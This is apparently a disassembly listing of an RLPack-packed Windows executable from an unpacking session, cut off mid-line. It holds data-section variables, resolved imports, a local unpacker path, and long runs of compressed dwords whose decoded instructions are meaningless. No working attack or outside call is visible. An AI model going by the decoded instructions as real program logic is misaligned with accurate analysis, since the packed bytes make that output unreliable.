sub_41D851+9Ao word_4DE092 dw 0 ; DATA XREF: sub_41D851+48r db 2 dup(0) word_4DE096 dw 0 ; DATA XREF: sub_41D851+3Br word_4DE098 dw 0 ; DATA XREF: sub_41D851+2Er word_4DE09A dw 0 ; DATA XREF: sub_41D851+21r align 10h dword_4DE0A0 dd 0 ; sub_4237AE:loc_4237C0r ... align 8 dword_4DE0A8 dd 0 dword_4DE0AC dd 0 ; sub_41F429+2Dw ... dword_4DE0B0 dd 0 dword_4DE0B4 dd 0 ; sub_41B9D2:loc_41BC0Fr ... dword_4DE0B8 dd 1 ; sub_420842+4w ... dword_4DE0BC dd 0 dd 0 dword_4DE0C4 dd 0 ; sub_4222DD+1Ar ... byte_4DE0C8 db 0 ; DATA XREF: sub_4221D9+3r ; sub_4221D9+98r ... align 4 dword_4DE0CC dd 0 ; sub_4223BB+21w ... byte_4DE0D0 db 0 ; DATA XREF: sub_4223BB+51w align 4 dword_4DE0D4 dd 0 ; sub_42298C+3Ar ... dword_4DE0D8 dd 0 ; sub_42298C+43r ... dword_4DE0DC dd 0 ; sub_422758+5r dword_4DE0E0 dd 0 dword_4DE0E4 dd 2 dup(0) dword_4DE0EC dd 0 ; sub_41DDAA+6Er ... dd 3 dup(0) dword_4DE0FC dd 0 ; sub_41E034+BFr ... dd 0 dword_4DE104 dd 0 ; sub_420C46:loc_420C6Fw ... dword_4DE108 dd 1 ; sub_423383+4Cw ... dword_4DE10C dd 0 ; sub_4235D2+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_423867:loc_42387Eo ; .packed:off_4DE064o align 4 dd 3Ah dup(0) dword_4DE214 dd 1 ; sub_423AB4+23w ... dword_4DE218 dd 0 dword_4DE21C dd 0 dword_4DE220 dd 1 ; sub_424517:loc_424581w align 8 word_4DE228 dw 0 ; DATA XREF: sub_424E19+1Ao ; sub_424E19+46r byte_4DE22A db 0 ; DATA XREF: sub_424E19+39r align 4 dword_4DE22C dd 7 dup(0) dword_4DE248 dd 0 ; sub_424E19+5Co dword_4DE24C dd 0 dword_4DE250 dd 0 dword_4DE254 dd 0 dword_4DE258 dd 77C2807Ch ; sub_424F3C+38r ... align 10h dword_4DE260 dd 0 ; sub_42501C+63w ... align 8 dword_4DE268 dd 0 ; sub_42501C+46r dword_4DE26C dd 10h dup(0) word_4DE2AC dw 0 ; DATA XREF: sub_42527A+A8r word_4DE2AE dw 0 ; DATA XREF: sub_42501C+54r ; sub_42527A+DBr ... word_4DE2B0 dw 0 ; DATA XREF: sub_42527A+CAr word_4DE2B2 dw 0 ; DATA XREF: sub_42527A+D3r ; sub_42527A:loc_42536Cr word_4DE2B4 dw 0 ; DATA XREF: sub_42527A+C0r word_4DE2B6 dw 0 ; DATA XREF: sub_42527A+B8r word_4DE2B8 dw 0 ; DATA XREF: sub_42527A+B0r word_4DE2BA dw 0 ; DATA XREF: sub_42527A+9Er dword_4DE2BC dd 0 dword_4DE2C0 dd 10h dup(0) word_4DE300 dw 0 ; DATA XREF: sub_42527A+46r word_4DE302 dw 0 ; DATA XREF: sub_42501C:loc_425093r ; sub_42527A+78r ... word_4DE304 dw 0 ; DATA XREF: sub_42527A+67r word_4DE306 dw 0 ; DATA XREF: sub_42527A+70r ; sub_42527A:loc_4252FEr word_4DE308 dw 0 ; DATA XREF: sub_42527A+5Dr word_4DE30A dw 0 ; DATA XREF: sub_42527A+55r word_4DE30C dw 0 ; DATA XREF: sub_42527A+4Dr word_4DE30E dw 0 ; DATA XREF: sub_42527A+3Er dword_4DE310 dd 0 dword_4DE314 dd 0 ; sub_42501C:loc_425168r ... dword_4DE318 dd 0 dword_4DE31C dd 0 ; resolved to->USER32.MessageBoxA ; sub_4256B1+2Ew ... dword_4DE320 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_4256B1:loc_425700r dword_4DE324 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_4256B1+60r dword_4DE328 dd 0 dword_4DE32C dd 0 ; sub_426185+6Do dword_4DE330 dd 0 ; sub_426185+44o dword_4DE334 dd 0 ; sub_426185+37o dword_4DE338 dd 0 ; sub_426185+51o align 10h dword_4DE340 dd 0 ; sub_426733+48w ... dword_4DE344 dd 0 ; sub_427228+4Cw ... dword_4DE348 dd 0 ; sub_4274B3:loc_42751Dw byte_4DE34C db 0 ; DATA XREF: sub_40D6D6r sub_40D6D6+9w ... align 10h dd 4 dup(0) dword_4DE360 dd 370650h ; sub_41F91C+2Ar ... dword_4DE364 dd 3Fh dup(0) dword_4DE460 dd 20h ; sub_41F91C+Cr ... dword_4DE464 dd 3727A0h ; sub_41FC9D+14r ... dd 6 dup(0) dword_4DE480 dd 400h dup(0) ; .packed:0043F5C0o dword_4DF480 dd 200h ; sub_41E3F0+56r ... dword_4DF484 dd 4E4h ; sub_4206A9+65w ... align 10h dword_4DF490 dd 3 dup(0) ; sub_4206A9+171o ... dword_4DF49C dd 0 ; sub_4206A9+15Dw ... byte_4DF4A0 db 0 ; DATA XREF: sub_4208E8:loc_4209F4w ; sub_4208E8:loc_420A11w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DF5A0 db 0 ; DATA XREF: sub_4206A9+5Co ; sub_4206A9+AFo ... byte_4DF5A1 db 0 ; DATA XREF: sub_41C1A1+5Dr ; sub_4206A9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DF6A4 dd 0 ; sub_4206A9+12Bw ... dword_4DF6A8 dd 0 ; sub_41ECD4+5r ... dword_4DF6AC dd 0 ; sub_41E6A2+25Ar ... dword_4DF6B0 dd 0 ; sub_41E6A2+311w ... dword_4DF6B4 dd 0 ; sub_41E6A2+22Dr ... dword_4DF6B8 dd 0 ; sub_41E677r ... dword_4DF6BC dd 0 ; sub_41E677+8r ... dword_4DF6C0 dd 0 ; sub_41BCE3+Fr ... dword_4DF6C4 dd 370000h ; sub_41B9D2+C0r ... dword_4DF6C8 dd 1 ; sub_41B9D2:loc_41BA02r ... dword_4DF6CC dd 142340h ; sub_423756+Fr ... dword_4DF6D0 dd 1 ; sub_4262F7r dword_4DF6D4 dd 1 ; sub_420A6D+11w ... dword_4DF6D8 dd 372718h ; sub_41D7A3+13r ... dword_4DF6DC dd 372718h ; sub_41BFA3+57r ... byte_4DF6E0 db 0 ; DATA XREF: sub_426FB4+15r ; sub_426FB4+1Ew align 4 dd 247h dup(0) dd 4434h, 6B5Eh, 861Eh, 0C034h, 0F51Eh, 16160h, 255F0h dd 0 dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0 dd 0E0020h, 0 dd 0FFFFFFFFh, 0E005Ch, 0E0020h, 0 db 3 dup(0) byte_4E004F db 0 ; DATA XREF: .packed:00433C65o ; .packed:00434495o dd 5 dup(0) db 0 byte_4E0065 db 3 dup(0) ; CODE XREF: .packed:004E00E0j dd 0Dh dup(0) db 2 dup(0) word_4E009E dw 0 ; CODE XREF: .packed:004E00FEj dd 3 dup(0) dd 0AD000000h, 20003E2h, 40000h, 0F2A32A00h, 96F83251h dd 0A6C7EF31h, 2883E2D8h, 0D88E7EADh, 6A6F9AC4h, 0CFDAh dd 148E108h, 7F730E9h db 0Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp jb short near ptr byte_4E0065 jnz short near ptr loc_4E0117+1 cmp al, 45h or [ecx], bh dec eax stc cmp [ebp-10h], ah db 67h or al, bh add [ebx], dh rol byte ptr [edx+53h], cl ; CODE XREF: .packed:004E0125j pop es push esi mov esi, [eax+0Ch] push edi inc ecx fcmovbe st, st(3) jecxz short near ptr word_4E009E xor [eax+edi*8], al jge short loc_4E017E loc_4E0105: ; CODE XREF: .packed:loc_4E0117j cli add edi, esp mov [ebp-2Ch], eax add ecx, eax mov eax, 0F868A6C3h loc_4E0112: ; CODE XREF: .packed:004E012Cj loopne loc_4E0153 dec ebx dec edi push es loc_4E0117: ; CODE XREF: .packed:004E00E2j jnz short loc_4E0105 add eax, 0C61C8136h inc ebp or edi, [esi] pop ds pop ebp ror dh, 1 jge short near ptr loc_4E00F2+1 mov byte ptr [ebp-18h], 6 inc eax loopne loc_4E0112 sbb ah, 74h xor cl, [ebx] mov edx, [edi+4] push cs loc_4E0137: ; CODE XREF: .packed:loc_4E0137j jecxz short loc_4E0137 rep stosd aaa mov edx, 63EAC0Ch push 5 test [ecx-4], bh pop es enter 59FFh, 8Bh ; CODE XREF: .packed:004E015Ej jnz short near ptr loc_4E01CA+1 pusha push ebp or al, 0Fh mov dh, 36h loc_4E0153: ; CODE XREF: .packed:loc_4E0112j add eax, ecx loop near ptr loc_4E015E+1 or edx, esi push dword ptr [edi] sub cl, [ecx+64h] loc_4E015E: ; CODE XREF: .packed:004E0155j lock jnz short near ptr loc_4E0147+3 cmp [ebp+3Bh], ecx sbb [edi-80h], dh xor eax, eax pop edi pop esi pop ebx leave retn 0B3F5h ; --------------------------------------------------------------------------- dd 9B23A872h, 0F84DB1F0h, 0C1EC5680h db 0E1h byte_4E017D db 4 ; CODE XREF: .packed:004E0195j ; --------------------------------------------------------------------------- loc_4E017E: ; CODE XREF: .packed:004E0103j add ecx, ebx push esp cmp eax, 8D0601B2h cmp al, 8Ah jnb short loc_4E01A1 and al, 0C8h or byte ptr [ebp-65h], 12h xor [edx], bh or dl, 0BAh loopne near ptr byte_4E017D xchg ecx, [ecx+0F8B3922h] db 3Eh lock popf out dx, al loc_4E01A1: ; CODE XREF: .packed:004E0188j or eax, [ebx+7539F1AFh] or al, 3Ch cmp dword ptr [edi+1], 0FFFFFFFDh mov byte ptr [eax-42h], 0A8h out dx, al sub esi, ecx mov dword ptr [eax], 89530305h aaa sub [eax+75h], ch cdq sub dword ptr [edx+6AF0CC23h], 2A590805h dec ebp loc_4E01CA: ; CODE XREF: .packed:004E014Bj aam 6 jmp near ptr 0EFE4F0A4h ; --------------------------------------------------------------------------- db 46h, 0DCh, 0Ah dd 342EC03h, 85F669F7h, 2A714h, 8D07F87Dh, 6CD80E8Ch, 8AC161Ch dd 9F6C0F7Ah, 7CF040F3h, 0B9E8502Bh, 0C84C614h, 0F41C2C31h dd 90F665D1h, 8750E06h, 0D11AE781h, 170C9C30h, 88E6ECEh dd 48D84504h, 75115DA6h, 0E6C11B08h, 75C8F311h, 73F10910h dd 67A25E1Fh, 0D250D8CEh, 3A89FF85h, 82B00F31h, 2919EBA7h dd 0C62B48C2h, 0ED1D8E8Bh, 0A08030CEh, 8D0E89D8h, 1051254h dd 0FA816774h, 189D7810h, 0EB02FF73h, 0C980A661h, 1F04087Ah dd 0C4754891h, 1FCE2236h, 15147309h, 0EBF0311Bh, 146E4E12h dd 42690F89h, 9F7C1967h, 1403F0A8h, 1D929276h, 5588040Eh dd 0E1E7F0Bh, 2B200953h, 91059AE9h, 1F0A9932h, 0FD03FD6Dh dd 129E098Bh, 60825106h, 0C1D18BA1h, 0CA9CC9EAh, 0DB4C52Dh dd 0D4B0AAA6h, 8A948D13h, 0AC6E4824h, 43440A23h, 7DD9979h dd 4E99E46Ah, 7E00CDCh, 1B782498h, 7DD91032h, 0EB914806h dd 45C70714h, 4B35388h, 0C8C181ECh, 0F3E9D091h, 0DB69C354h dd 9B0A8818h, 0BC8D035Ch, 5F49308Ah, 0A2D0E856h, 0D18B22C3h dd 83B46839h, 0B279D5ABh, 0E583F8E1h, 44A1350Fh, 0ECCC0942h dd 2931A68Ah, 8DC2808Bh, 19738E34h, 0E35BA1D2h, 58B7461Ah dd 0E215543h, 2A4773E3h, 0A453BA44h, 0A203752Ch, 898660E0h dd 840F1616h, 553F2151h, 337B2414h, 1F4C952h, 8DC19D0Fh dd 7BC7094Ch, 2A8E9B7Eh, 0C8A0F8Eh, 1DF28811h, 0E916868Dh dd 29625B13h, 4EC22B98h, 38289071h, 1356E0E9h, 14256492h dd 60A282F2h, 0CA15C41Dh, 97894A7h, 377AEB32h, 90BA3254h dd 48E4E43Dh, 0B124D317h, 0DC97E755h, 626E595Eh, 6B65F76Fh dd 0B31A0414h, 0FDE1C149h, 460BB2EFh, 0D0F8A81Dh, 0A095B314h dd 0C86EB384h, 855E484h, 22F2E411h, 9FD1425h, 9E30A97h dd 6D0031ACh, 0FF33080Bh, 8EB4E98h, 998170E9h, 22F24445h dd 5A1131D6h, 43BF9460h, 5C268861h, 2F04712Eh, 5802C433h dd 65438C28h, 621EEB14h, 844089E3h, 91E908C9h, 89791041h dd 73D2BC5Fh, 0D8FB5D54h, 1F422C4h, 0CEFDE351h, 9114A2E0h dd 191186ADh, 0C9B243E6h, 91348906h, 0D1F31CEBh, 0A4DB7CB5h dd 0B1142E17h, 0E336020Ah, 0E3FF4832h, 0EA95FA96h, 0C017505Eh dd 2BE6D33Eh, 0FBB801FEh, 222C08B1h, 7A856E15h, 7676FB0h dd 6DEEF41Ch, 0EBD84605h, 786A7203h, 0B228FD59h, 9C068C58h dd 3E06C039h, 79B5BB8Bh, 0A71123AAh, 12DB9324h, 932EA1D0h dd 6916919Eh, 0D6151CB5h, 0A22468h, 0A275089Dh, 4073EA83h dd 670FA48h, 0D28C0FDAh, 3FCAF0D1h, 0E393F9D1h, 0CB130601h dd 0E612C02h, 0F7DD8BEh, 0B07DC72Ch, 8F70A002h, 0EB0A40BCh dd 0E9834309h, 13B3F04h, 0DB03E8D1h, 72B8EB39h, 0ADB2906h dd 7596028Eh, 888F8DD0h, 0B8854CEAh, 0D8D10E04h, 331A4891h dd 9908B447h, 8427E87Dh, 26B914F1h, 0F2158881h, 51B9DA07h dd 919EBFFh, 0A1E97260h, 6625D1D5h, 4B0BE102h, 8D6E04E3h dd 87013F7Ch, 7D10A99Eh, 896B439Ch, 0E0110326h, 3B0ECF8h dd 27190F0h, 0DE3B02F4h, 0D423577h, 2BCE1CC0h, 0CF03CB06h dd 3E4A118Ah, 3E8988F4h, 882E4146h, 899E8312h, 5744A0Eh dd 7218A33Bh, 73A075E5h, 310FFA39h, 0E977AE82h, 330B87A0h dd 9A8640C0h, 44F79611h, 75E6E010h, 46B40850h, 99570400h dd 0F759096Ah, 7805EAF9h, 0E068F85Fh, 0A5A9610h, 0C93C0B6h dd 7DE0F799h, 0F0E743FBh, 86E4859Ch, 0F44F0AA4h, 0FB2C0029h dd 40EE590h, 0FF046A50h, 1E94C357h, 8DFC381Ch, 537D7EFCh dd 0C683CAA0h, 1AAE096Ch, 6EE8FAF0h, 9A397EA1h, 0A34B0680h dd 0C50021Eh, 0C38B5E5Fh, 48ABDD70h, 585A5082h, 4A840E0h dd 18DAE133h, 70011420h, 680E7020h, 0E3100824h, 0E824F2ADh dd 95B93584h, 28100292h, 0A4890505h, 70244BAFh, 0A238A063h dd 0B080A94h, 0A00F015Eh, 0DD0082Ah, 8420E391h, 1C188383h dd 4C087756h, 1C4AE11Dh, 434C108Ah, 701B8960h, 0FDD0E2ADh dd 1C18883Dh, 78675250h, 571D8340h, 0F9683813h, 0E8027801h dd 618E1D70h, 575309DCh, 0A47156h, 0ED815D0Dh, 8C134C30h dd 0C043B58Dh, 0FC468B0Dh, 41DC083h, 0BDBCF02Bh, 3756A4DEh dd 801C7609h, 2FBD8D03h, 0AD32C51Fh, 900220ABh, 48137B83h dd 26017401h, 0F6854473h, 69B90EDCh, 0A7A38323h, 0FAA8407Bh dd 0CFEFA4F3h, 391B5822h, 6F1A2F01h, 61630604h, 851EFFF9h dd 46E8511Ch, 190F24Ah, 2C4E8B60h, 2B8D3189h, 23406A4Bh dd 7B5124C7h, 2137958Ch, 27853089h, 0F6E8560Dh, 72C4BF92h dd 85031DBDh, 949B0FC0h, 4028C164h, 52550C59h, 19E90E5h dd 85349AC2h, 897761C9h, 8EC8549h, 4746C451h, 746E1806h dd 958B0A7Bh, 8DCD1AAAh, 950DAE8Dh, 228A7544h, 2DEB0C3Ah dd 8057C1F7h, 5213747Ch, 97C0E181h, 338D517Fh, 50310785h dd 1F3F0E11h, 0A14C8940h, 5211D26h, 71C8ED60h, 3F526741h dd 0D054D8D2h, 6A310D96h, 44AB8510h, 48C0331Ch, 0EB083140h dd 370C8A8Ah, 2522DE12h, 81430575h, 70404B36h, 0F702030Eh dd 83E906C6h, 9A3EC3C1h, 880B4289h, 2D2C225h, 9407F2B3h dd 69577CD6h, 90141937h, 990FB548h, 20DA3BA6h, 0C7030C46h dd 5F5E5D05h, 1588C35Bh, 0BBFC49C4h, 5B44E838h, 6EB810Dh dd 0E0073F15h, 0CB030E30h, 93FF2451h, 0E92A49A9h, 146A2CBAh dd 0D339C37Eh, 3B4DFB2Ch, 16740207h, 49BFEE52h, 0E29050C3h dd 45C03393h, 0C2835AABh, 0E4EB2C04h, 6AC3007h, 0AFCDC575h dd 83041EC9h, 51F4017Ah, 0C144CDD0h, 5D08B866h, 0AD249E10h dd 30787BDh, 889E0C2h, 99A6F4EBh, 53BA0C46h, 0E2E82156h dd 8E1A165Ch, 81C9493Eh, 0A743C58h, 0FE240B62h, 0EB500430h dd 892E9C07h, 0FF85501h, 0A91046B7h, 751DAA62h, 0FBA9E57Dh dd 84428732h, 606C7AADh, 40C7FC92h, 36C0125Eh, 0FF87503h dd 347DCF3Bh, 0C0460625h, 5501D0B0h, 0E82CFC1Eh, 0A074D3CFh dd 0D78AC8FEh, 2A1C6375h, 0DB0C23Ah, 0E839C166h, 10C08408h dd 1ED1C486h, 807C0106h, 0FD04C61Ch, 0EB410473h, 90595EC8h dd 741446BEh, 2A3B3537h, 0AB8A3055h, 4C16F711h, 78E9C21Fh dd 355AF0FDh, 98E5117h, 3400F839h, 6602EC83h, 122E76FEh dd 0A708D652h, 8E5918FEh, 3FB0491Ch, 47E6574Dh, 0B1E542B3h dd 0DF1F1741h, 5027A6BEh, 0CD0ADEE5h, 642CED43h, 264D7443h dd 185E73E0h, 84B287Dh, 0C171F8B2h, 0F302F90Bh, 832D03A5h dd 0FF91EDE1h, 1643047Bh, 52A43DFAh, 7C19D1A8h, 12CA42ABh dd 7BD35AAAh, 3D32683Bh, 0A604D232h, 0A27505C3h, 0E321A26Ah dd 39C8A54h, 402479Ah, 5251F00Eh, 0CA918D56h, 0D6458A46h dd 98BB8942h, 0B8EC7DBFh, 486ED426h, 14C82B1Eh, 5EA8B236h dd 0C47C2099h, 0B103047Ch, 0D0BB465Dh, 0F40E4862h, 84BC952h dd 0A8724BF5h, 0C72F8B19h, 671EBF51h, 0D067EC06h, 7440C8E1h dd 77B54BC6h, 29125146h, 7F361506h, 6BBED8Fh, 5ACAEB09h dd 0FA901BACh, 307D3B3Eh, 0EBF90E75h, 0CCDAA311h, 0C706409Fh dd 0AA0FFF05h, 0C731090h, 2B7DE073h, 0B8499CD4h, 4ECEE35Eh dd 0AB0B45DAh, 2DB40840h, 0CF402D92h, 18DF6CBh, 529B2C7Fh dd 829276D0h, 515C394Ch, 7406D4B6h, 8032437h, 8343893Eh dd 0D40C4E51h, 107ECED0h, 21FF6785h, 5750A07Bh, 0E8275351h dd 42DA91Fh, 888D481Bh, 0A98084DFh, 9CC5EB14h, 736DE073h dd 0D6E56276h dd 0C7C2E465h, 0C45201Ah, 0B1968389h, 4210D0B6h, 46F61CAEh dd 0EF938B44h, 0AF384EB1h, 83D25873h, 5922A79Fh, 30E1C085h dd 0A1EBCD4Eh, 1012634Eh, 0C9D0EB3Bh, 17DCE65h, 851455B1h dd 0F502E9D2h, 8AF6D9D6h, 6EC7F20Dh, 7E3E8AA1h, 4474B8C2h dd 0A97F9152h, 9842538h, 6A23E425h, 0E5AEBE0h, 4103F405h dd 0CF66D6D3h, 8C405183h, 1F2249B3h, 86685A69h, 0B04D6F6Ch dd 9602E4B9h, 8ABB2C54h, 239DACEBh, 84B9569Ch, 6F55FC44h dd 2AF35C7Bh, 0F12B3006h, 0E8D2D089h, 3B1C1290h, 660C484Dh dd 0F3EB410Ah, 6B61FA36h, 4B6D27FCh, 20111A2Ah, 0B6055E1Ch dd 0B9203C40h, 38D1448h, 8318017Ch, 0CFD027C7h, 60B0E9C1h dd 5132E173h, 0DB50768Dh, 3A82254Bh, 8A011EFBh, 0F641A807h dd 88D12C04h, 1D4459E1h, 0E51EE750h, 6542A58Eh, 0DAC85C8h dd 177A9AA5h, 0CAA79022h, 3390250Ch, 5CAFFAA7h, 4A69CF42h dd 0B2017BCAh, 0A380B88Dh, 8B78AB2Dh, 89341556h, 32BDA617h dd 41C7BB48h, 696C1070h, 74746163h, 206E6F07h, 0DC1E7265h dd 9D1253F8h, 751720F7h, 32E6EFFh, 0EF656854h, 0EC633C8Ch dd 1BDBFF64h, 35732514h, 97E76CCBh, 0D474676Eh, 0EDBE1E62h dd 69FD3661h, 53E364BBh, 478E4C44h, 82CC3584h, 6E612C64h dd 33F4206Ch, 242A38AFh, 639D2757h, 2848362Fh, 389B7375h dd 4D3B3233h, 7B61F278h, 6F420E67h, 770F4178h, 78638F74h dd 14376674h, 6C8E386Bh, 0A453F6Ch, 50746978h, 0C14C4DA4h dd 68C0B043h, 786E6148h, 4FC0FD64h, 0B1E2F570h, 74FC4718h dd 0C442F54Dh, 71C9B6Ch, 7269567Ch, 34A0FA74h, 638E0F41h dd 2A9A6E52h, 9A649376h, 8E488209h, 0F4A3AB95h, 0CC6D0138h dd 0EB09D339h, 3C125089h, 30324825h, 9C49697Ah, 19A5098Dh dd 0EE010A81h, 8B6000D8h, 8B242474h, 0FC28247Ch, 0DB3380B2h dd 0E802B3A4h, 6Dh, 0C933F673h, 64E8h, 331C7300h, 5BE8C0h dd 23730000h, 0B04102B3h, 4FE810h, 0C0120000h, 3F75F773h dd 0E8D4EBAAh, 4Dh, 1075CB2Bh, 42E8h, 0AC28EB00h, 4D74E8D1h dd 1CEBC913h, 0E0C14891h, 2CE8AC08h, 3D000000h, 7D00h dd 0FC800A73h, 83067305h, 2777FF8h, 8B954141h, 5601B3C5h dd 0F02BF78Bh, 0EB5EA4F3h, 75D2028Eh, 46168A05h, 33C3D212h dd 0EEE841C9h, 13FFFFFFh, 0FFE7E8C9h, 0F272FFFFh, 247C2BC3h dd 247C8928h, 0CC2611Ch, 0 dd 0E00D4h, 1660h, 964h, 0E0BCEh, 0E0028h, 0E002Ch, 400000h dd 7C801D77h, 7C80ADA0h, 4DFA25B8h, 9E888DF0h, 89100012h dd 548B0141h, 528B0424h, 0E902C60Ch, 2B05C283h, 0FC4A89CAh dd 0B8C3C033h, 0F04DFA25h, 58F64h, 83000000h, 535504C4h dd 52565751h, 1257988Dh, 538B1000h, 0E88B5218h, 68406Ah dd 0FF000010h, 6A0473h, 3104B8Bh, 0FF018BCAh, 0F88B5AD0h dd 338B5250h, 320438Bh, 89088BC2h, 438B204Bh, 8BC2031Ch dd 1C4B8908h, 4B8BF203h, 8DCA030Ch, 57501C43h, 5AD1FF56h dd 8430358h, 8B52F88Bh, 0FC468BF0h, 2B04C083h, 85689F0h dd 890C4B8Bh, 0D7FF144Eh, 133F8589h, 0F08B1000h, 5A144B8Bh dd 0CA030CEBh, 800068h, 57006A00h, 0C68B11FFh, 595F5E5Ah dd 0E0FF5D5Bh, 41E133h, 4A6h dup(0) _packed ends ; Section 2. (virtual address 000E2000) ; Virtual size : 00023385 ( 144261.) ; Section size in file : 00023385 ( 144261.) ; Offset to raw data for section: 000E2000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _RLPack segment para public 'CODE' use32 assume cs:_RLPack ;org 4E2000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing dd 0CA01CB8h, 6450034Eh, 38635FFh, 257089EEh, 0F0C03388h dd 45500008h, 706D6F43h, 74386361h, 0C1D70032h, 0F1412A7h dd 0D3DE003Ch, 0B401FE93h, 0EE00ED41h, 6E833AC3h, 8BCE76h dd 0E97E893Bh, 0A3C72C0Bh, 340322F0h, 0EDE18F1Eh, 8B0C9064h dd 234F38F8h, 0EF80E0BDh, 2B8CC98Ah, 3301852Eh, 1B5810C5h dd 14E809C7h, 48F4003Fh, 692E44BDh, 1F0075A3h, 0E4C3F763h dd 0BC4D17h, 0ECAC54D7h, 8CFC7346h, 5F7FB300h, 0F8FE555Bh dd 0A5761F2Ch, 82860032h, 2E0C9F6Ch, 6803E91Eh, 29A99BC0h dd 7D6440h, 0B08A0F41h, 488E52DCh, 1FDB838h, 0CAF08566h dd 0D3EC10AFh, 5BB400F6h, 0E569C15Fh, 197C8296h, 0BA0F6D00h dd 0ACA9341Eh, 7A0C0099h, 0C6A05754h, 2A010612h, 0E3114FB7h dd 0F3E4670Fh, 94A4A069h, 52560097h, 0DD5A9DBFh, 0F23833EFh dd 0F67F80D0h, 0EBD4C77h, 1F94013Ch, 3F206812h, 0FAC0CBBBh dd 0AB001072h, 0F40B5D27h, 70BDF7h, 85D2C3AFh, 7CFEEF17h dd 20C46A00h, 0DE35D7ABh, 0E62100D6h, 746D218h, 743DF49Fh dd 0AA4D006Ah, 8FBB9522h, 5F630060h, 85C2AE17h, 7B008105h dd 3A33AC0h, 0E45A9CBh, 0C8C63F09h, 3C12001Ch, 0D0B21440h dd 9F00F67Ah, 7A57EA16h, 16C6329h, 0E8933028h, 0E09E7490h dd 0FC00D397h, 0E01FC1C2h, 73541Bh, 0CB9C1ABCh, 2ABB760Eh dd 0DF996903h, 0DBEF7F49h, 6214A191h, 0D2A7C0h, 0E26A3D4Eh dd 8483909h, 52819B00h, 0B5202CC3h, 760A0064h, 33863B8Ah dd 0BB072370h, 0A468377Fh, 0C136D010h, 0E2EE99h, 0D615E32h dd 0DC633E7Ch, 74A0DA1Ch, 0BB1B00BDh, 7DEE798Eh, 8F7A0075h dd 2291F864h, 0F600153Ch, 0A52BC608h, 7CB88914h, 545800A4h dd 8BDB4AF1h, 680078B2h, 404BC6FCh, 0F36ED28h, 0C4298637h dd 0F16EB00h, 0F50045A8h, 0EFA2483Bh, 0C0FCFDh, 0DFEE615Dh dd 4449A428h, 350041FCh, 11D7CA22h, 1B8F9Bh, 219F2004h dd 0CE8A9EE9h, 0C750F900h, 78EAC66Bh, 157300F8h, 5E8E9528h dd 0B90002B3h, 6435B416h, 0FFCA3Ah, 0AB776B18h, 0C28CA626h dd 0ADBBF60Fh, 53E2403Fh, 2F3198h, 447B3997h, 0B884A3E7h dd 4B23C101h, 4F9EB1BBh, 3D0121FCh, 0A600F148h, 0D9DF817Ch dd 407AE65h, 0DD151131h, 8961C6D7h, 0E8C84F9Fh, 14BCC046h dd 0C95DB5DCh, 0DCFD04F6h, 4300B8E4h, 447DB4FBh, 0E87233h dd 8FA3F41Bh, 0E0CFD008h, 0D2491E00h, 586EC484h, 0A6C9002Ch dd 5260ADF3h, 0F4E1E873h, 627ED80Ch, 834DA100h, 0B55325D2h dd 0A9F100F2h, 5EA34C6Bh, 5F39EED3h, 91D0835Ah, 0C03595F6h dd 0CD64BBh, 0ECE8492Eh, 3CF7CC7h, 7E75021Ch, 1BA2F5C0h dd 0B6005h, 306E1AFCh, 64E7EC61h, 93DEFB00h, 3FEA0A9Ch dd 3D32E247h, 2D005204h, 0B6B7E5C5h, 3C0EF7A9h, 0D9A1EAh dd 0C955B8D8h, 2D72C6h, 0B4BA85FFh, 6CE5369Eh, 7C3E0300h dd 693D3464h, 5FCA0023h, 0A69DED74h, 0DF008020h, 0B816770Ch dd 90B1E47Ah, 780A00DEh, 0B423B067h, 0CC7C80BCh, 81FF0900h dd 949CA213h, 5F8800E6h, 84EE584Ah, 1E00C4ECh, 31082FBh dd 1D5A2029h, 40CD5979h, 322C9323h, 0C200DD5Bh, 578F0405h dd 763D34Dh, 0B402619Dh, 8E68027h, 390029D9h, 358F03C0h dd 7B1E84B6h, 691C0056h, 155E7F6h, 0E1005B73h, 0BC14818Bh dd 397ADh, 79AA928Ah, 542A7522h, 96606726h, 4F58C800h dd 0E12513Ch, 0C1B21116h, 42F17640h, 933999FFh, 0AEF78061h dd 67847E4Bh, 13BE767Ah, 1E705Bh, 583521BAh, 1800B307h dd 0C1087F95h, 6782B6h, 0DC4D6099h, 0A9134617h, 0E107AF00h dd 0F444D5C6h, 0BAC00068h, 852ABFB0h, 1003936Dh, 0B948F265h dd 0FA29E057h, 0CAC500FCh, 0A2016384h, 0A00B849h, 952F8EDAh dd 70335DCh, 0E8E32C59h, 5694D0A7h, 5701C467h, 2979F3F0h dd 0A1C024BAh, 0C710044h, 0A59647C3h, 0EF0028A7h, 0A9BC0F5h dd 7BFC35h, 1F2C8A79h, 1B83DDA4h, 74CBEE24h, 65CC39h, 0DAEA4856h dd 0F4A8CCEh, 0CDF1B505h, 0E13C83A3h, 88E347D0h, 3960201Eh dd 0B4ED640h, 